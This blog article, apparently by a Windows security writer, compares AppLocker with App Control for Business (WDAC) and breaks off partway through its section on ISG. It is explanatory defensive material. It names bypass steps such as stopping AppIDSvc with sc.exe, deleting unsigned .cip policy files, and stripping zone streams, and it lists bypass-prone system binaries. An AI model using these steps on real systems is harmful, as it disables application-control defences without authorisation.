Parag Mali - tag: code-integrity

AppLocker vs App Control for Business: Two Locks on the Same Door, and Why Windows Still Ships Both in 2026

noreply@paragmali.com (Parag Mali) — Mon, 01 Jun 2026 00:00:00 GMT

Windows ships two application-control systems in parallel in 2026: **AppLocker**, a per-user policy evaluator that lives in the user-mode Application Identity service, and **App Control for Business** (still widely called WDAC), a kernel policy evaluator built into `ci.dll`. Microsoft itself states that AppLocker *"doesn't meet the servicing criteria for being a security feature"* while App Control was *designed* as one under the MSRC servicing criteria. That single sentence explains why both still ship. AppLocker handles per-user policy on devices that have no code-signing PKI. App Control, with a signed policy and HVCI on, is the only configuration that survives an admin-equivalent attacker. This article walks the architecture of each, the structural ceilings of both, the role of ISG and the Recommended Block Rules, and the five-question decision tree for picking between them in 2026.

1. Two Locks on the Same Door

Sit down on a Windows 11 24H2 device in 2026. Open gpedit.msc. Navigate to Computer Configuration -> Windows Settings -> Security Settings, and you will find a node called AppLocker, with five rule collections waiting to be populated. Now walk one branch over to Computer Configuration -> Administrative Templates -> System -> Device Guard. That node, despite the obsolete name in the GPO tree, is where you author policy for what Microsoft now calls App Control for Business [@ms-appcontrol-applocker-overview] -- the same kernel-enforced application-control engine that has been renamed twice since launch (Configurable Code Integrity in 2015, Windows Defender Application Control in 2017, App Control for Business in 2024) [@ms-blog-introducing-wdac-2017] but never replaced.

Two completely separate policy nodes. Two completely separate deployment surfaces. Two completely separate enforcement architectures. Both shipping in the same SKU on the same device in 2026. Both documented as currently supported on Microsoft Learn [@ms-appcontrol-applocker-overview]. Which one is "the right one"? The honest answer turns out to be neither, and both, and the reason is a single sentence on a single Microsoft Learn page that draws a line between security feature and operational hygiene control sharper than most practitioners realise.

A policy mechanism that decides, at process-launch or image-load time, whether a given binary, script, or installer is allowed to execute on a Windows device. An application-control policy is an enumerated set of allow rules (an allowlist), deny rules (a blocklist), or both. The decision is made by an OS-resident evaluator before the binary's main entry point runs.

Microsoft's own App Control and AppLocker Overview page makes the line explicit. AppLocker [@ms-appcontrol-applocker-overview], in Microsoft's own words, "helps to prevent end-users from running unapproved software on their computers but doesn't meet the servicing criteria for being a security feature." App Control for Business, in contrast, was "designed as a security feature under the servicing criteria, defined by the Microsoft Security Response Center" [@ms-appcontrol-applocker-overview]. The MSRC servicing criteria are not marketing copy. They are the rule that decides whether a defect in a Windows feature gets a CVE [@msrc-servicing-criteria]. AppLocker bypasses do not get CVEs. App Control bypasses, with the right configuration, do.

flowchart LR Root["Computer Configuration"] Sec["Windows Settings"] Adm["Administrative Templates"] SecSet["Security Settings"] Sys["System"] AL["AppLocker node
(user-mode AppIDSvc)"] DG["Device Guard node
(kernel ci.dll / App Control for Business)"] Root --> Sec Root --> Adm Sec --> SecSet SecSet --> AL Adm --> Sys Sys --> DG

The rest of this article pays off that one sentence. The first half walks the architecture of each system at the level of who evaluates what, where in the operating system, and against which attacker. The second half makes the practitioner decision tractable: which one to deploy in 2026, what to pair it with, and what no allowlist of any generation can do.

Key idea: AppLocker and App Control for Business are not two generations of the same product. They are two different products solving two different problems. AppLocker is an operational hygiene control whose enforcement Microsoft itself disclaims as a security boundary. App Control for Business, when its policy is signed by the deploying organisation and HVCI is on, is the security boundary. Both still ship because neither is a strict superset of the other.

If both are shipping and both are recommended in different Microsoft Learn pages, what exactly does each one do? And why is the line between them drawn in Microsoft's servicing criteria rather than in its feature inventory? To answer that, we have to start before either product existed.

2. Pre-History -- Why an OS Needs Application Control at All

The 1999-2001 macro-virus and worm era -- ILOVEYOU [@cert-ca-2000-04-iloveyou], Code Red [@cert-ca-2001-19-codered], Nimda [@cert-ca-2001-26-nimda] -- made it unsurvivable for Windows to trust any binary the user had Execute permission on. The default behaviour of a Windows desktop in that era was: if the bits are on disk and the user can read them, they run. There was no per-binary policy gate. The OS-level answer Microsoft shipped in October 2001 was Software Restriction Policies, an XP RTM feature documented at length the following year by John Lambert at Virus Bulletin 2002 [@vb2002-srp].

The user-mode Windows API (`WinSafer*`) that SRP used to evaluate a candidate executable against the configured rule set. The SAFER evaluator returned one of three security levels -- `Disallowed`, `Basic User`, or `Unrestricted` -- on each `CreateProcess`. The decision lived entirely in user mode, in the same address space as the loader, which is the architectural defect AppLocker partially inherited and App Control later corrected.

SRP supported five rule conditions [@ms-applocker-what-is]: hash, certificate, path, Internet zone, and registry path. Each condition tested a candidate file against an administrator-authored allow or deny rule, returning a SAFER security level that the user-mode evaluator honoured at CreateProcess. The model was right: a per-machine GPO-administered policy evaluated against a defined file taxonomy.

The Microsoft code-signing format that binds a publisher identity (an X.509 certificate chain) to a PE binary via a cryptographic signature embedded in the binary's optional header. Authenticode is the *plumbing* every Windows application-control system uses to answer the question "who published this binary?" -- but it cannot answer "what will this binary do once it runs?". Authenticode mechanics are out of scope here; the companion Authenticode article covers them in full.

But SRP's management surface was a series of footguns. There were no per-user rules. There was no audit-only mode -- you authored a rule and immediately enforced it. There was no PowerShell module; configuration was an MMC snap-in click path. And the Internet-Zone rule was structurally fragile: it depended on the Zone.Identifier Alternate Data Stream, which exists only on NTFS and which any user can strip with streams.exe -d.The Zone.Identifier ADS is also silently stripped by FAT and exFAT copies, by many archive formats during extraction, and by any process that rewrites the file. SRP's zone rule was therefore reliable only against the most casual download paths -- exactly the threat model SRP claimed to address. The structural reason AppLocker dropped Internet Zone as a rule condition in 2009 starts here.

SRP is genealogy, not subject matter, for the rest of this article. Microsoft never formally deprecated it, but practitioners abandoned it within a year of AppLocker's 2009 release, and Microsoft Learn now points anyone arriving at the SRP page toward AppLocker or App Control. The three operational defects -- no per-user, no audit, no PowerShell -- sketch the brief that the AppLocker team would inherit. What did Microsoft actually ship in 2009, and where did its designers draw the line between manageability and security?

flowchart TD SRP["2001 -- Software Restriction Policies
(Windows XP RTM)
user-mode SAFER API"] AL["2009 -- AppLocker
(Windows 7 / Server 2008 R2)
user-mode AppIDSvc + AppID.sys minifilter"] CCI["2015 -- Configurable Code Integrity
(Windows 10 1507, under Device Guard umbrella)
kernel ci.dll"] WDAC["2017 -- Windows Defender Application Control
(Windows 10 1709)
same kernel ci.dll, new brand"] ACfB["2024 -- App Control for Business
(Windows 11 24H2 / Server 2025)
same kernel ci.dll, third brand"] Now["2026 -- both AppLocker and App Control for Business ship in the same SKU"] SRP -- effectively orphaned --> AL AL -- peer mechanism added, not replaced --> CCI CCI -- renamed --> WDAC WDAC -- renamed --> ACfB AL -- still ships --> Now ACfB -- still ships --> Now

3. AppLocker (2009) -- The Architecture Microsoft Documents

October 22, 2009. AppLocker ships in Windows 7 Enterprise / Ultimate and in Windows Server 2008 R2 [@ms-lifecycle-windows7] [@ms-lifecycle-server-2008-r2]. What did Microsoft actually build, exactly as Microsoft Learn documents it?

Five rule collections [@ms-applocker-rules]:

Executable -- .exe, .com
DLL -- .dll, .ocx (off by default; opt-in for performance reasons)
Script -- .ps1, .vbs, .js, .bat, .cmd
Windows Installer -- .msi, .msp, .mst
Packaged App -- .appx, .msix

The script collection's inclusion of .bat and .cmd is a coverage detail that survives into 2026 as one of the few capabilities AppLocker has and App Control does not [@ms-appcontrol-feature-availability]. Hold that thought; it returns in section 10.

Three rule conditions:

Publisher -- the Authenticode subject name, product name, file name, and minimum file version. The load-bearing usability win over SRP: a single Publisher rule for "binaries signed by Microsoft Corporation with product Office, version 16.0 or higher" survives every patch the vendor ships.
Path -- with environment-variable and wildcard support (%ProgramFiles%\Contoso\*.exe).
File Hash -- the SHA-256 of the binary. Stable but brittle; one update breaks the rule.

An AppLocker (or App Control) rule that allows or denies execution based on the Authenticode signer subject, the file's signed metadata (Original Filename, Product Name), and an optional minimum version. The publisher gate trusts the certificate authority's binding of signer name to private key; it does not evaluate what the signed code will do at runtime. The structural limit of any publisher-gate allowlist is that signed code can be made to load and execute attacker-controlled data -- this is what the Microsoft Recommended Block Rules in section 8 enumerate.

AppLocker also added the three management capabilities SRP lacked: per-user / per-group rule assignment via the AppLocker PowerShell module (Get-AppLockerPolicy, Set-AppLockerPolicy, Test-AppLockerPolicy, New-AppLockerPolicy), audit-only mode that logs would-be denials without enforcing them, and a real GPO editor experience under Security Settings. The per-user capability is still, in 2026, the operational reason AppLocker has not gone away [@ms-appcontrol-feature-availability]; we will return to that in section 11.

The architecture is the part most readers underestimate. AppLocker is a kernel-mode minifilter that asks a user-mode service for the verdict. Microsoft's AppLocker Architecture and Components page documents the user-mode side at the service-and-callback level [@ms-applocker-architecture]: the policy decision is deferred to the user-mode Application Identity service (AppIDSvc) running as LocalService, which evaluates policy via SeAccessCheckWithSecurityAttributes or AuthzAccessCheck against the calling user's group memberships, with interception points at process create, DLL load, and script run. The kernel-side component is the AppId.sys minifilter shipped in %SystemRoot%\System32\drivers\; it issues the callbacks at process creation, optional DLL load, script-host invocation, MSI execution, and packaged-app activation, and the kernel honours the verdict the service returns.

The Windows service that evaluates AppLocker rules. Runs as `LocalService` under a service host process. The kernel minifilter `AppID.sys` collects the candidate file's metadata at the relevant lifecycle hook (process create, image load, script host start) and waits for `AppIDSvc` to return an access decision derived from the active AppLocker policy and the calling user's token. Stopping `AppIDSvc` stops AppLocker enforcement -- this is the architectural fact the next section turns on. sequenceDiagram participant U as User participant K as Kernel (CreateProcess) participant Min as AppID.sys minifilter participant Svc as AppIDSvc (user mode) participant Pol as Active AppLocker policy U->>K: CreateProcess foo.exe K->>Min: process-create callback Min->>Svc: query verdict for foo.exe and caller token Svc->>Pol: AuthzAccessCheck against publisher / path / hash rules Pol-->>Svc: allow or deny Svc-->>Min: verdict Min-->>K: honour verdict K-->>U: process starts or STATUS_ACCESS_DENIED

The five-by-three matrix below is the policy surface a practitioner authors against:

Collection / Condition	Publisher	Path	File Hash
Executable (`.exe`, `.com`)	yes	yes	yes
DLL (`.dll`, `.ocx`)	yes	yes	yes
Script (`.ps1`, `.vbs`, `.js`, `.bat`, `.cmd`)	yes	yes	yes
Windows Installer (`.msi`, `.msp`, `.mst`)	yes	yes	yes
Packaged App (`.appx`, `.msix`)	yes (publisher only)	no	no

The DLL collection is off by default for a reason Microsoft Learn warns about plainly [@ms-applocker-rules]: "When DLL rules are used, AppLocker must check each DLL that an application loads. Therefore, users may experience a reduction in performance if DLL rules are used." That cost is paid for every load of every DLL by every running process; on a workstation that loads thousands of DLLs at boot it is observable in startup time. The Packaged App collection is publisher-only because the Universal Windows Platform packaging format always carries an Authenticode signature.

Note: The most common misattribution in the AppLocker literature is the conflation of AaronLocker with the AppLocker bypass corpus. AaronLocker [@github-aaronlocker] is Aaron Margosis's deployment tool -- a PowerShell-based generator that authors thorough audit and enforce policies. The canonical AppLocker bypass catalogue is Oddvar Moe's UltimateAppLockerByPassList [@github-ultimateapplockerbypass]. The canonical App Control bypass catalogue is Jimmy Bayne's UltimateWDACBypassList [@github-ultimatewdacbypass]. Three different artefacts, three different authors, three different purposes.

AppLocker's design is admirable. It fixed every operational defect of SRP, it shipped per-user rules a decade before App Control's kernel evaluator caught up, and its PowerShell module is still the most ergonomic Windows application-control authoring surface in 2026. But notice one thing about that sequence diagram: the policy decision lives in a user-mode service. What happens to enforcement if the attacker is running as SYSTEM?

4. AppLocker's Structural Limit -- Why It Was Never a Security Boundary

A single PowerShell line. sc.exe stop AppIDSvc from a LocalSystem context -- the canonical first-step bypass catalogued in UltimateAppLockerByPassList [@github-ultimateapplockerbypass] and reproduced in Oddvar Moe's December 2017 case study [@oddvarmoe-applocker-case-study; @oddvarmoe-applocker-case-study-part2]. Enforcement degrades until the next reboot. Is that a bug?

It is not. It is the design. And three converging pieces of evidence -- Microsoft's own words, the documented architecture, and the public bypass record -- agree on the scope.

1. Microsoft's own servicing-criteria language. The App Control and AppLocker Overview page says, verbatim [@ms-appcontrol-applocker-overview]: "AppLocker helps to prevent end-users from running unapproved software on their computers, but it doesn't meet the servicing criteria for being a security feature." The MSRC Windows Security Servicing Criteria document [@msrc-servicing-criteria] is the rule the MSRC uses to decide whether a defect in a Windows feature qualifies for a CVE. Defects in a security boundary receive CVEs and a coordinated patch. Defects in a defense-in-depth feature may not -- they are documented and, when convenient, fixed, but Microsoft does not promise that every bypass will be treated as a vulnerability. AppLocker is the second category. App Control, when configured to qualify, is the first.

2. The user-mode AppIDSvc architecture is the proximate reason. Restate the section-3 diagram: the kernel minifilter AppID.sys collects the file metadata, but the verdict is returned by AppIDSvc running in user mode as LocalService. Any process running as LocalSystem or with administrator privilege can stop AppIDSvc. Stopping the service does not just bypass a rule; it removes the evaluator that the kernel was waiting for. The Microsoft Learn architecture page describes the evaluation surface explicitly [@ms-applocker-architecture]: "AppLocker policies are conditional access control entries (ACEs), and policies are evaluated by using the attribute-based access control SeAccessCheckWithSecurityAttributes or AuthzAccessCheck functions." AuthzAccessCheck is a user-mode Authz API; the evaluation chain ends in a process that an admin can stop.

The MSRC servicing criteria classify Windows features into *security boundaries* (a violation produces a CVE, fixes are released on Patch Tuesday or out-of-band), *security features* designed against a defined threat model (violations may or may not get CVEs depending on the threat model), and *defense-in-depth* measures (no servicing commitment beyond best effort). AppLocker is explicitly placed in the third class on the *App Control and AppLocker Overview* page [@ms-appcontrol-applocker-overview]. App Control with a signed policy and HVCI on is treated as a security feature whose threat model includes an admin-equivalent attacker -- and that is the precise condition under which an App Control bypass is treated as a CVE-class defect.

3. The published bypass corpora. Oddvar Moe's UltimateAppLockerByPassList [@github-ultimateapplockerbypass] catalogues rundll32.exe, regsvr32.exe, mshta.exe, installutil.exe, msbuild.exe, and a long list of others, each documented to bypass the default AppLocker rule set without administrator privileges. Moe's December 2017 case study [@oddvarmoe-applocker-case-study] paired a defined test environment (Windows 10 1703 Enterprise with the default AppLocker rules applied and no third-party software) against a defined adversary capability (an unprivileged interactive user) and demonstrated fourteen distinct bypass techniques. That made "AppLocker is bypassable in practice without admin" an empirical claim, not a theoretical one.

And -- this is the part that closes the argument -- the Microsoft-org-hosted AaronLocker README [@github-aaronlocker] states the same scope plainly: "AaronLocker does not try to stop administrative users from running anything they want -- and application control solutions cannot meaningfully restrict administrative actions anyway. A determined user with administrative rights can bypass any application control solution." The bypass community and the Microsoft-employee-maintained deployment baseline agree.

This is the article's first reorientation. The convergence of the Microsoft servicing-criteria language, the kernel-defers-to-user-mode architecture, and the published bypass record is not three independent observations; it is one observation viewed from three angles. AppLocker is a hygiene control. The bypassability against an admin-equivalent attacker is a scope statement, not a defect. The misconception that AppLocker was ever supposed to defend against an attacker with SYSTEM lives in the reader, not in the product.

The three pieces of evidence, tabulated:

Evidence	Source	What it establishes
MSRC servicing-criteria language	Microsoft Learn App Control and AppLocker Overview [@ms-appcontrol-applocker-overview]	AppLocker is not a security feature under MSRC criteria
User-mode `AppIDSvc` architecture	Microsoft Learn AppLocker Architecture and Components [@ms-applocker-architecture]	A `LocalSystem` or admin attacker can stop the evaluator
Public bypass corpora	Oddvar Moe `UltimateAppLockerByPassList` [@github-ultimateapplockerbypass]; Moe 2017 case study [@oddvarmoe-applocker-case-study]	Demonstrated bypasses without admin against default rules
Microsoft-org-hosted deployment baseline	AaronLocker README, Aaron Margosis [@github-aaronlocker]	Microsoft-employee-maintained tool states the scope identically

{` // Pseudocode walk of what happens when an admin or LocalSystem process // stops AppIDSvc. The actual demonstration requires admin on a Windows // host; this is the logic the kernel minifilter follows.

function onProcessCreate(candidateExe, callerToken) { const svc = queryService('AppIDSvc'); if (svc.state !== 'Running') { // No evaluator. The minifilter cannot block on the verdict // because the verdict source is gone. Enforcement degrades. return ALLOW; } const verdict = svc.evaluate(candidateExe, callerToken); return verdict; // honoured by the kernel as ALLOW or DENY }

// After: sc.exe stop AppIDSvc (requires admin / SYSTEM) // queryService('AppIDSvc').state === 'Stopped' // onProcessCreate(...) returns ALLOW for every candidate // until AppIDSvc restarts (typically next reboot) `}

Note: AppLocker prevents non-admin end users from running unapproved software. That is the entire mission statement, and Microsoft says it directly. It is not a weakness of AppLocker that an attacker with administrative rights can bypass it; that is outside the threat model the product was designed against. The right question to ask of AppLocker is not "is it secure?" but "is the threat model it addresses the threat model I need to address?"

If AppLocker cannot defend against an admin-equivalent attacker by design, and that became obvious inside Microsoft by the early 2010s, the question is no longer "why is AppLocker not enough?" It is: what would a Windows application-control system designed against an admin-equivalent attacker actually look like? Microsoft answered that question with Windows 10.

5. The Generational Pivot -- Configurable Code Integrity, WDAC, App Control for Business

With Windows 10, Microsoft introduces Device Guard. The framing in the official October 2017 retrospective is unusually candid for a Microsoft product communication: "With Windows 10 we introduced Windows Defender Device Guard" -- and the new mechanism's value proposition, the retrospective explains, is that its enforcement does not depend on a user-mode service an administrator can turn off [@ms-blog-introducing-wdac-2017]. Where AppLocker's AppIDSvc evaluator can be stopped from a LocalSystem shell, the new mechanism's evaluator lives in the kernel and validates its policy file cryptographically. Microsoft was not hiding what changed. Microsoft was announcing what changed.

The 2014-2015 threat-model shift inside Microsoft is well documented in retrospect [@ms-blog-introducing-wdac-2017]. Post-Pass-the-Hash, post-APT, the working assumption was that the adversary reaches administrator quickly -- and that any control whose enforcement could be turned off by an administrator was therefore not, in itself, a defense against the modern adversary. AppLocker could not be retrofitted to defend against that model because its evaluator lives in user mode by design. The fix was structural: build a peer mechanism in the kernel Code Integrity component.

The Windows kernel component that enforces signature and policy checks on every image loaded into memory. The same `ci.dll` enforces driver signing (KMCS) and Driver Signature Enforcement (DSE); the App Control for Business policy is a peer of the driver signing policy, evaluated by the same kernel code at the same hook points. There is no service to stop because there is no service -- the evaluator runs in the kernel itself. The umbrella brand Microsoft used in 2015-2017 for a bundle of hardware-rooted security features that included HVCI and Configurable Code Integrity. The brand was retired because customers consistently believed the bundle required hardware that, in fact, only HVCI required. The configurable CI policy that was the application-control half of Device Guard is what Microsoft now calls App Control for Business [@ms-blog-introducing-wdac-2017]. The configuration in which the kernel CI evaluator runs inside a Virtualization-Based Security (VBS) enclave at Virtual Trust Level 1 (VTL1), separated from the normal kernel at VTL0 by the Windows hypervisor. The marketing name in Windows 11 Settings is *memory integrity* [@ms-hvci] [@ms-support-memory-integrity]. The companion HVCI article in this pipeline covers the mechanism in depth; for this article the relevant fact is that with HVCI on, even a kernel-mode attacker in VTL0 cannot tamper with the code-integrity decision.

The connecting insight that made the architecture work: do not fix AppLocker. Build a peer mechanism in ci.dll, the same component that already enforces driver signing, and make the new application-control policy a peer of the driver-signing policy. The decision lives in the kernel. The policy file lives on disk under %SystemRoot%\System32\CodeIntegrity\CiPolicies\Active\. There is no user-mode service to stop.

The three-era naming timeline is the question every practitioner asks first about this product, so it is worth laying out cleanly:

Era	Name	Released	Source
Launch	Configurable Code Integrity, under the Device Guard umbrella	Windows 10 1507, July 29 2015	[@ms-blog-introducing-wdac-2017]
Rename 1	Windows Defender Application Control (WDAC)	Windows 10 1709 (Fall Creators Update GA October 17, 2017; WDAC rename announced October 23, 2017)	[@ms-blog-introducing-wdac-2017]
Rename 2	App Control for Business	Windows 11 24H2 / Server 2025, autumn 2024 [@ms-lifecycle-win11-enterprise] [@ms-lifecycle-server-2025]	[@ms-appcontrol-applocker-overview] [@github-wdac-toolkit-issue-411]

Microsoft's October 2017 retrospective is the cleanest explanation of the first rename [@ms-blog-introducing-wdac-2017]: the Device Guard umbrella *"unintentionally left an impression for many customers that the two features were inexorably linked and could not be deployed separately"* -- which Configurable CI and HVCI never were. The rename to WDAC was brand management, not a technology change. The 2024 rename to App Control for Business [@ms-appcontrol-applocker-overview] is similarly a rebrand; Microsoft Learn states *"App Control for Business was originally released as part of Device Guard and called configurable code integrity. The terms 'Device Guard' and 'configurable code integrity' are no longer used with App Control except when deploying policies through Group Policy."* The same kernel code path has worn three names in nine years.

The naming convention this article uses: lead with "App Control for Business (still widely called WDAC)" on first mention, then use the names interchangeably. The community search term "WDAC" stays in the title and tags because most practitioner content still uses it.

flowchart TD Kernel["Kernel CI evaluator (ci.dll)
peer of driver signing / DSE / KMCS
unchanged 2015 -- 2026"] Brand1["Configurable Code Integrity
under Device Guard umbrella
(Windows 10 1507, 2015)"] Brand2["Windows Defender Application Control (WDAC)
(Windows 10 1709, 2017)"] Brand3["App Control for Business
(Windows 11 24H2 / Server 2025, 2024)"] Brand1 --> Kernel Brand2 --> Kernel Brand3 --> Kernel

Note: In 2026, "WDAC" remains the more discoverable community-search term for the kernel CI policy mechanism. Microsoft Learn redirects from the old windows-defender-application-control/ URL path to the new app-control-for-business/ path, but third-party blogs, conference talks, and the bypass corpora all still use "WDAC". If you are searching, use both terms.

A peer mechanism in the kernel CI component is a deliberate, specific architectural choice. What does App Control for Business actually check at policy-evaluation time, and what makes its policy itself tamper-resistant against a SYSTEM-equivalent attacker?

6. The Mechanism in Detail -- How App Control for Business Actually Enforces

A LoadImage callback enters the kernel. Where does the policy decision happen, who reads the policy file, and what stops the attacker from just deleting or replacing the policy file?

Where it runs. Inside ci.dll, loaded by the Windows kernel. The same component that enforces driver signing / DSE / KMCS [@ms-hvci]. The callback path is the documented kernel API surface: PsSetLoadImageNotifyRoutine [@ms-pssetloadimagenotifyroutine] registers the image-load callback, and PsLookupProcessByProcessId [@ms-pslookupprocessbyprocessid] resolves the loading PID to an EPROCESS so the evaluator can attribute the load to the right process. A user-mode sc.exe stop has no effect because there is no service to stop. The evaluator is the kernel.

What it evaluates. For each candidate image, ci.dll checks:

The file's Authenticode signature -- signer subject, EKU (Extended Key Usage), leaf certificate attributes.
The file's signed metadata -- Original Filename, version, product name (analogous to AppLocker's Publisher rule).
SHA-1, SHA-256, and page hashes of the file content.
The file's path, introduced in Windows 10 1903, with a mandatory runtime user-writeability check that distinguishes App Control path rules from AppLocker's [@github-aaronlocker-script]. An App Control path rule that resolves to a directory writable by a non-administrator is rejected at evaluation time.
The file's Managed Installer lineage -- whether the file was written by a process tagged as a managed installer [@ms-appcontrol-managed-installer].
The file's ISG reputation -- covered in section 7 [@ms-appcontrol-isg].

The XML / binary `.cip` policy file that `ci.dll` consults at every image-load callback. Authored in XML via the `New-CIPolicy` and `Merge-CIPolicy` cmdlets (the `ConfigCI` PowerShell module) and compiled to a binary `.cip` via `ConvertFrom-CIPolicy`. The kernel reads the active policies from `%SystemRoot%\System32\CodeIntegrity\CiPolicies\Active\*.cip` at boot and on policy refresh. A trust-propagation feature in App Control. An administrator designates a process (typically a configuration-management agent such as Configuration Manager, Intune, or a third-party tool such as Patch My PC) as a *managed installer*. Any file written by that process is automatically tagged with an Extended Attribute marking it as installed by trusted infrastructure. App Control policy can then allow files bearing the tag. The Managed Installer rule collection is implemented as an AppLocker rule set [@ms-appcontrol-managed-installer], which is the most-cited example of AppLocker enforcement plumbing being reused by App Control rather than replaced.

Policy file format. XML in, binary in the kernel. The cmdlet sequence:

New-CIPolicy   -> Merge-CIPolicy -> ConvertFrom-CIPolicy -> .cip file -> drop into Active/ -> reboot or refresh

The PowerShell module that exposes these cmdlets is still partly named after the WDAC era. ConvertFrom-CIPolicy, Set-CIPolicySetting, Set-CIPolicyVersion, Add-SignerRule, and the rest all retain the CIPolicy / ConfigCI naming through the 2024 rebrand. Microsoft has not renamed the cmdlets to App Control for Business. The App Control Wizard [@ms-appcontrol-wizard] is an open-source MSIX-packaged C# tool that uses these same cmdlets under the hood.

Signed vs unsigned policies -- the load-bearing distinction. This is the single most common practitioner confusion in App Control deployments, and it is worth several paragraphs of care.

An unsigned App Control policy is fully supported and widely deployed. The policy XML is authored, compiled, and dropped into the active-policies directory. The kernel reads it and enforces it. But the policy file itself has no cryptographic binding to the device. Any process with write access to %SystemRoot%\System32\CodeIntegrity\CiPolicies\Active\ -- which includes anything running as SYSTEM or administrator -- can simply del the .cip file and reboot. Enforcement vanishes. The defect is not in ci.dll; it is in the policy not being signed.

A signed App Control policy is signed by the deploying organisation's code-signing certificate -- not by the application publisher's certificate, which is the misconception most often imported from the AppLocker mental model. The deploying organisation typically uses an internal PKI leaf, the signing private key kept on a hardware token or in a sealed key vault. When the policy is signed, the kernel CI evaluator validates the signature against the trusted signer set baked into the policy at first application; a subsequent attempt to remove or replace the .cip file is rejected at boot because the unsigned (or alternately-signed) replacement does not match. Even SYSTEM cannot bypass this without the corresponding private key. This is the only configuration that survives an admin-equivalent attacker.

App Control policies are signed by the deploying organisation's code-signing certificate, *not* by the application publisher's. The signed policy is bound to the device such that even `SYSTEM` cannot remove or replace it without the organisation's signing key.

Dimension	Unsigned policy	Signed policy
Tamper-resistance against `SYSTEM` / admin	None -- the `.cip` file can be deleted	Strong -- removal requires the signing key
Deployment complexity	Low -- copy file and reboot	High -- requires PKI, signing infra, key custody
Signing PKI requirement	None	Internal code-signing CA leaf required
Removal mechanism	`del *.cip` + reboot	Sign and deploy a replace policy with the same key
Suitable as MSRC security boundary	No	Yes (with HVCI on)

HVCI integration. When Virtualization-Based Security is on, the kernel CI evaluator itself runs in VTL1 inside HVCI (memory integrity, in Windows 11 Settings) [@ms-hvci] [@ms-support-memory-integrity]. A kernel-mode attacker in VTL0 -- even one who has loaded an arbitrary kernel driver and corrupted kernel memory at will -- cannot tamper with the code-integrity evaluation path. The decision lives behind the hypervisor boundary.

Virtual Trust Levels exposed by the Windows hypervisor. VTL0 is the normal Windows kernel and user mode. VTL1 is the *secure kernel*, an isolated execution environment with restricted memory access and a tighter trust model. With HVCI enabled, the code-integrity evaluator runs in VTL1; a kernel-mode attacker confined to VTL0 cannot read or write VTL1 memory directly. Companion HVCI article in this pipeline covers the VTL model in depth. sequenceDiagram participant P as Loading process participant K as Kernel image loader participant CI as ci.dll (CI evaluator) participant Pol as Active .cip policies P->>K: load module foo.dll K->>CI: PsSetLoadImageNotifyRoutine callback CI->>CI: parse Authenticode + compute hashes + check path CI->>Pol: match against signer / hash / path / MI / ISG rules Pol-->>CI: allow or deny CI-->>K: honour verdict K-->>P: image loaded or STATUS_INVALID_IMAGE_HASH flowchart LR subgraph VTL0["VTL0 -- normal Windows kernel"] K0["NTOS kernel"] Drv["Loaded drivers"] Att["kernel-mode attacker"] end subgraph VTL1["VTL1 -- secure kernel"] SK["Secure kernel"] CIeval["ci.dll evaluator"] end Hyper["Windows Hypervisor (VBS)"] K0 -- regulated calls --> Hyper Hyper -- mediated entry --> SK SK --> CIeval Att -. blocked .- Hyper

Multi-policy support. From Windows 10 1903 (May 2019) the kernel supported up to 32 active App Control policies whose interactions follow two distinct rules: multiple base policies intersect (an app must be allowed by every base policy that applies), while a base policy and its supplemental policies union (an app is allowed if any of them allow it), and deny rules always win in either combination. The cap was lifted by the April 9, 2024 cumulative security updates: KB5036893 for Windows 11 22H2 and 23H2 (OS Builds 22621.3447 and 22631.3447) [@ms-kb-5036893], and KB5036892 for Windows 10 21H2 and 22H2 (OS Builds 19044.4291 and 19045.4291) [@ms-kb-5036892]. Microsoft's Deploy multiple App Control for Business policies page is explicit on the version scope [@ms-appcontrol-multi-policy]: "The policy limit was not removed on Windows 11 21H2 and will remain limited to 32 policies." No published Microsoft documentation gives the new ceiling on the platforms where the cap was lifted; the practical limit is policy parsing time at boot.

Note: This is the single most common practitioner misreading in App Control deployments. An unsigned App Control policy enforces against userland and against unprivileged users perfectly well -- but it does not qualify as a security boundary under the MSRC servicing criteria, because an admin or SYSTEM attacker can delete the policy file. The phrase "deploy WDAC" alone is ambiguous; the meaningful phrase is "deploy a signed WDAC policy with HVCI on and the Recommended Block Rules merged in".

Kernel evaluator, signed policy, HVCI-isolated evaluator, multi-policy merge. That is the security boundary Microsoft sells. But none of those facts tells you what signals the policy can act on -- and one of those signals (ISG) is the single most misunderstood piece of the App Control vocabulary.

7. ISG -- The Reputation Signal Everyone Calls a List

Open any practitioner thread about App Control in 2024-2026 and you will see the phrase "the ISG list of trusted apps." There is no such list. Microsoft has said so for years. The misconception is institutional.

The verbatim Microsoft Learn quote, from the Use App Control with the Intelligent Security Graph page [@ms-appcontrol-isg]:

The ISG isn't a "list" of apps. Rather, it uses the same vast security intelligence and machine learning analytics that power Microsoft Defender SmartScreen and Microsoft Defender Antivirus to help classify applications as having "known good," "known bad," or "unknown" reputation. This cloud-based AI is based on trillions of signals collected from Windows endpoints and other data sources, and processed every 24 hours.

The ISG isn't a 'list' of apps. -- Microsoft Learn, *Use App Control with the Intelligent Security Graph* [@ms-appcontrol-isg]

ISG is a reputation classifier. An App Control policy can be configured to treat ISG's "known good" verdict as an additive allow signal. ISG never blocks on App Control's behalf. The Microsoft Learn page is precise: "the ISG option only allows binaries that are known good. If a binary is unknown or known bad, it won't be allowed by the ISG" [@ms-appcontrol-isg]. The classifier sits underneath the policy's explicit rules; it does not override them.

A Microsoft cloud service that ingests telemetry from Defender SmartScreen, Defender Antivirus, and partner products and produces a reputation classification for individual binaries. The classifier returns one of *known good*, *known bad*, or *unknown*. App Control can be configured to treat *known good* as an additional allow path, in addition to the explicit signer / hash / path / Managed Installer rules in the policy. ISG never *blocks* on its own; *unknown* and *known bad* simply mean ISG does not vote allow [@ms-appcontrol-isg].

The mechanism. When ISG is enabled and a binary is classified known good, Windows tags the file with an Extended Attribute named \$KERNEL.SMARTLOCKER.ORIGINCLAIM, so the CI evaluator can honour the verdict at subsequent image loads without a fresh cloud call. The cloud reputation model itself is processed every 24 hours [@ms-appcontrol-isg]; App Control's client-side requeries are documented only as periodic, without a fixed interval. The policy option Enabled:Invalidate EAs on Reboot discards the tags across reboot, forcing a re-evaluation.

The extended attribute \$KERNEL.SMARTLOCKER.ORIGINCLAIM is the same EA-tag mechanism the Managed Installer feature uses to propagate the "installed by trusted infrastructure" signal [@ms-appcontrol-managed-installer]. Two adjacent App Control features therefore share the same persistence layer -- one populated by a local trusted-process designation, the other populated by a cloud reputation classifier. The kernel evaluator does not care which source wrote the tag.

